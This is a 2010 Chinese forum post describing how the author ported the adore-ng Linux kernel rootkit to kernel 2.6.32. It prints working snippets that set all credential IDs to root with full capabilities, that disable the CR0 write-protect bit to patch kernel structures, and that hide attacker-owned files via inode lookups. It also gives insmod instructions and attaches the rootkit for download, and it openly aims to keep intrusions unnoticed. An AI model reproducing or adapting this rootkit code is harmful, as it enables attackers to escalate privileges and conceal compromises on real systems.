- 論壇徽章:
- 0
|
本帖最后由 lgqss 于 2010-05-16 15:06 編輯
最近對(duì)以前的一個(gè)黑客工具adore-ng0.56版本進(jìn)行了修改,使其可以在ubuntu10.04(2.6.32)運(yùn)行,也可以在2.6.30上運(yùn)行,為了修改這個(gè),死機(jī)n次。。。。
Adore-ng-0.56源碼分析見(jiàn)
http://linux.chinaunix.net/bbs/thread-1138561-1-1.html(感謝他)
由于2.6.32版本內(nèi)核與以前有一些不同,所以不能編譯
主要不同之處在于,
1.struct task_struct中關(guān)于權(quán)限的字段移到struct cred中去了- edit_cred->uid = 0;
- edit_cred->suid = 0;
- edit_cred->euid = 0;
- edit_cred->gid = 0;
- edit_cred->egid = 0;
- edit_cred->fsuid = 0;
- edit_cred->fsgid = 0;
- cap_set_full(edit_cred->cap_effective);
- cap_set_full(edit_cred->cap_inheritable);
- cap_set_full(edit_cred->cap_permitted);
復(fù)制代碼 2.關(guān)于操作的結(jié)構(gòu)都是const類型,直接修改引發(fā)oops錯(cuò)誤
所以先要去掉cr0寄存器的寫(xiě)保護(hù),如下代碼- unsigned orig_cr0;
- /*清除cr0寄存器的寫(xiě)保護(hù)位,第16位為WP寫(xiě)保護(hù)位*/
- unsigned clear_return_cr0(void)
- {
- unsigned cr0 = 0;
- unsigned ret;
- asm volatile ("movl %%cr0, %%eax"
- :"=a"(cr0)
- );
- ret = cr0;
- cr0 &= 0xfffeffff;
- asm volatile ("movl %%eax, %%cr0"
- :
- :"a"(cr0)
- );
- return ret;
- }
- /*用orig_cr0恢復(fù)cr0寄存器*/
- void setback_cr0(unsigned val)
- {
- asm volatile ("movl %%eax, %%cr0"
- :
- :"a"(val)
- );
- }
復(fù)制代碼 3.在文件隱藏中,iget函數(shù)已經(jīng)沒(méi)有了,相應(yīng)的super_operations里read_inode也沒(méi)有了,所以采用了新方法獲取inode
一開(kāi)始的想法是用iget_locked代替,但出現(xiàn)的問(wèn)題是:
(1) 如果文件從來(lái)沒(méi)訪問(wèn)過(guò),那么文件inode不存在,這樣iget_locked會(huì)新建一個(gè)空的inode,但不會(huì)填充它,而且后面因?yàn)橛昧藆nlock_new_inode,使得以后獲取到該文件的inode都是空的,所以那些沒(méi)有訪問(wèn)過(guò)的文件以后都不能打開(kāi)了,ls –l得出的長(zhǎng)度什么的全是0- if (inode->i_state & I_NEW) {
- unlock_new_inode(inode);
- //printk("%lu\n", (unsigned long)inode);
- inode->i_state |= I_NEW;//沒(méi)有這句話,會(huì)造成文件系統(tǒng)內(nèi)所有第一次ls的新文件全部不可用
- }
復(fù)制代碼 后來(lái)我想到的方法是加上一句inode->i_state |= I_NEW;這樣就重新標(biāo)記為新節(jié)點(diǎn),有了這個(gè)標(biāo)記的后,文件體統(tǒng)相應(yīng)的iget函數(shù)(如ext4_iget)會(huì)填充它
(2) 上面的內(nèi)核inode破壞問(wèn)題解決了,還有個(gè)問(wèn)題是,如果inode沒(méi)緩存(即該文件從沒(méi)被打開(kāi)過(guò)),那么iget_locked會(huì)獲取到空的inode, 所以if (uid == ELITE_UID && gid == ELITE_GID)這句話在第一次運(yùn)行時(shí)永遠(yuǎn)不成立,所以第一次ls有需要隱藏文件的目錄時(shí),我們要隱藏的文件還能看的見(jiàn),第二次ls才會(huì)消失,因?yàn)榈诙挝覀兊玫降牟攀钦嬲膇node。(這里說(shuō)明一下,ls命令要獲取文件信息,就需要打開(kāi)當(dāng)前目錄下所有文件獲取填充好的inode,內(nèi)核為每個(gè)文件調(diào)用一次ext4_iget)
這個(gè)應(yīng)該是很嚴(yán)重的問(wèn)題,我們本來(lái)是要隱藏文件的,但第一次能ls能看見(jiàn),再次ls時(shí)消失掉,傻瓜也知道被入侵了。。。
后來(lái)我找到了第二種解決辦法,在ext4中有個(gè)函數(shù)是ext4_lookup,用來(lái)填充當(dāng)前目錄dentry,提供的參數(shù)是父目錄的inode,文件未連接的dentry(negative dentry),這個(gè)函數(shù)用來(lái)把dentry和inode連接起來(lái)(調(diào)用了ext4_iget來(lái)填充inode)。
- struct inode *inode = NULL;
- struct dentry *dentry = NULL;
- struct qstr this;
- struct dentry *dir = parent_dir[current->pid % 1024];
- this.name = name;
- this.len = nlen;
- this.hash = full_name_hash(this.name, this.len);
- dentry = d_lookup(dir, &this);//首先看系統(tǒng)中有沒(méi)有緩存
- if (!dentry) {
- dentry = d_alloc(dir, &this);
- if (!dentry) {
- //printk("d_alloc失敗%d\n", (int)dentry);
- return 0;
- }
- if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) {
- printk("lookup錯(cuò)誤\n");
- return 0;
- }
- }
- if(!(inode = dentry->d_inode)) {
- //printk("inode獲取失敗\n");
- return 0;
- }
復(fù)制代碼 當(dāng)前修改還不是很穩(wěn)定,好像會(huì)出現(xiàn)內(nèi)核函數(shù)writeback_single_inode錯(cuò)誤,導(dǎo)致一些問(wèn)題,但把
//iput(inode);
//dput(dentry);,
注釋掉后好像又沒(méi)問(wèn)題了。
運(yùn)行方法
make
進(jìn)入root后
Insmod adore-ng.ko
然后可以用ava運(yùn)行命令了,詳細(xì)操作方法見(jiàn)我上面貼出的網(wǎng)址,也可以百度google搜索
adore-ng.rar
(49.53 KB, 下載次數(shù): 385)
2010-05-16 15:03 上傳
點(diǎn)擊文件名下載附件
|
評(píng)分
-
查看全部評(píng)分
|